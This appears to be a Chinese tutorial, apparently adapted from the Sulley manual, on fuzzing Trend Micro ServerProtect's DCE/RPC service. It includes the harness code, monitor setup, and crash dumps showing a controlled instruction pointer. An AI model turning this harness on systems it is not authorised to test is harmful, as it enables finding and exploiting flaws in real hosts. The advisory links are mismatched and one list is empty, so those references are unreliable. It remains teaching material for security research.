Sulley Fuzzer 实战教程：Trend Micro Server Protect 漏洞挖掘

前言

本教程基于Sulley Fuzzer对Trend Micro Server Protect的漏洞挖掘过程，详细展示了从环境搭建到漏洞发现的完整流程。Sulley是一个模块化的模糊测试框架，特别适合协议和文件格式的模糊测试。

目标分析

目标系统：Trend Micro Server Protect
目标服务：SpntSvc.exe服务绑定的TCP端口5168上的Microsoft DCE/RPC端点
目标接口：TmRpcSvc.dll中的RPC接口

接口定义(IDL)

// opcode: 0x00, address: 0x65741030
// uuid: 25288888-bd5b-11d1-9d53-0080c83a5c2c
// version: 1.0
error_status_t rpc_opnum_0 (
    [in] handle_t arg_1,        // 不通过网络传输
    [in] long trend_req_num,
    [in][size_is(arg_4)] byte some_string[],
    [in] long arg_4,
    [out][size_is(arg_6)] byte arg_5[],  // 不通过网络传输
    [in] long arg_6
);

关键参数分析

1. trend_req_num参数具有特殊含义：
   • 上半部分和下半部分控制一对跳转表
   • 通过逆向工程发现的合法组合：

环境准备

自定义编码器

创建DCE/RPC请求编码器，将操作码硬编码为零：

# dce rpc request encoder used for trend server protect 5168 RPC service
# opnum is always zero
def rpc_request_encoder(data):
    return utils.dcerpc.request(0, data)

构建请求

在requests/trend.py中定义请求：

for op, submax in [(0x1, 22), (0x2, 19), (0x3, 85), (0x5, 25), (0xa, 49), (0x1f, 25)]:
    s_initialize("5168: op-%x" % op)
    if s_block_start("everything", encoder=rpc_request_encoder):
        # [in] long trend_req_num,
        s_group("subs", values=map(chr, range(1, submax)))
        s_static("\x00")  # subs is actually a little endian word
        s_static(struct.pack("<H", op))  # opcode
        # [in][size_is(arg_4)] byte some_string[],
        s_size("some_string")
        if s_block_start("some_string", group="subs"):
            s_static("A" * 0x5000, name="arg3")
        s_block_end()
        # [in] long arg_4,
        s_size("some_string")
        # [in] long arg_6
        s_static(struct.pack("<L", 0x5000))  # output buffer size
    s_block_end()

创建会话

在fuzz_trend_server_protect_5168.py中：

导入模块

from sulley import *
from requests import trend

RPC绑定函数

def rpc_bind(sock):
    bind = utils.dcerpc.bind("25288888-bd5b-11d1-9d53-0080c83a5c2c", "1.0")
    sock.send(bind)
    utils.dcerpc.bind_ack(sock.recv(1000))

会话配置

sess = sessions.session(session_filename="audits/trend_server_protect_5168.session")
target = sessions.target("10.0.0.1", 5168)
target.netmon = pedrpc.client("10.0.0.1", 26001)
target.procmon = pedrpc.client("10.0.0.1", 26002)
target.vmcontrol = pedrpc.client("127.0.0.1", 26003)

target.procmon_options = {
    "proc_name": "SpntSvc.exe",
    "stop_commands": ['net stop "trend serverprotect"'],
    "start_commands": ['net start "trend serverprotect"'],
}

# 启动目标
target.vmcontrol.restart_target()
print "virtual machine up and running"

# 添加目标和请求
sess.add_target(target)
sess.pre_send = rpc_bind
sess.connect(s_get("5168: op-1"))
sess.connect(s_get("5168: op-2"))
sess.connect(s_get("5168: op-3"))
sess.connect(s_get("5168: op-5"))
sess.connect(s_get("5168: op-a"))
sess.connect(s_get("5168: op-1f"))
sess.fuzz()

环境设置

网络监控器

network_monitor.py -d 1 \
    -f "src or dst port 5168" \
    -p audits\trend_server_protect_5168

进程监控器

process_monitor.py -c audits\trend_server_protect_5168.crashbin \
    -p SpntSvc.exe

VMWare控制代理

vmcontrol.py -r "c:\Progra~1\VMware\VMware~1\vmrun.exe" \
    -x "v:\vmfarm\images\windows\2000\win_2000_pro-clones\TrendM~1\win_2000_pro.vmx" \
    --snapshot "sulley ready and waiting"

结果分析

运行221个测试用例后，发现19个触发了故障。使用crashbin_explorer.py分析：

$ ./utils/crashbin_explorer.py audits/trend_server_protect_5168.crashbin
[6] [INVALID]:41414141 Unable to disassemble at 41414141 from thread 568 caused access violation
42, 109, 156, 164, 170, 198,
[3] LogMaster.dll:63272106 push ebx from thread 568 caused access violation
53, 56, 151,
[...]

测试用例分析

$ ./utils/crashbin_explorer.py audits/trend_server_protect_5168.crashbin -t 70
[INVALID]:0058002e Unable to disassemble at 0058002e from thread 568 caused access violation
when attempting to read from 0x0058002e
CONTEXT DUMP
EIP: 0058002e Unable to disassemble at 0058002e
EAX: 00000001 ( 1) -> N/A
EBX: 0259e118 ( 39444760) -> A.....AAAAA (stack)
[...]

清理PCAP文件

$ ./utils/pcap_cleaner.py audits/trend_server_protect_5168.crashbin audits/trend_server_protect_5168

发现的漏洞

1. TSRT-07-01: Trend Micro ServerProtect StCommon.dll栈溢出漏洞

   • 链接: http://www.fuzzing.org/wp-content/SulleyManual.pdf

2. TSRT-07-02: Trend Micro ServerProtect eng50.dll栈溢出漏洞

   • 链接: https://www.trendmicro.com/en_us/business/products/network/intrusion-prevention.html

总结

本教程展示了使用Sulley Fuzzer对复杂RPC接口进行模糊测试的完整流程，包括：

1. 目标分析和逆向工程
2. 自定义编码器开发
3. 请求构建和会话配置
4. 监控环境设置
5. 结果分析和漏洞验证

通过这种方法，可以系统地发现和验证目标系统中的安全漏洞。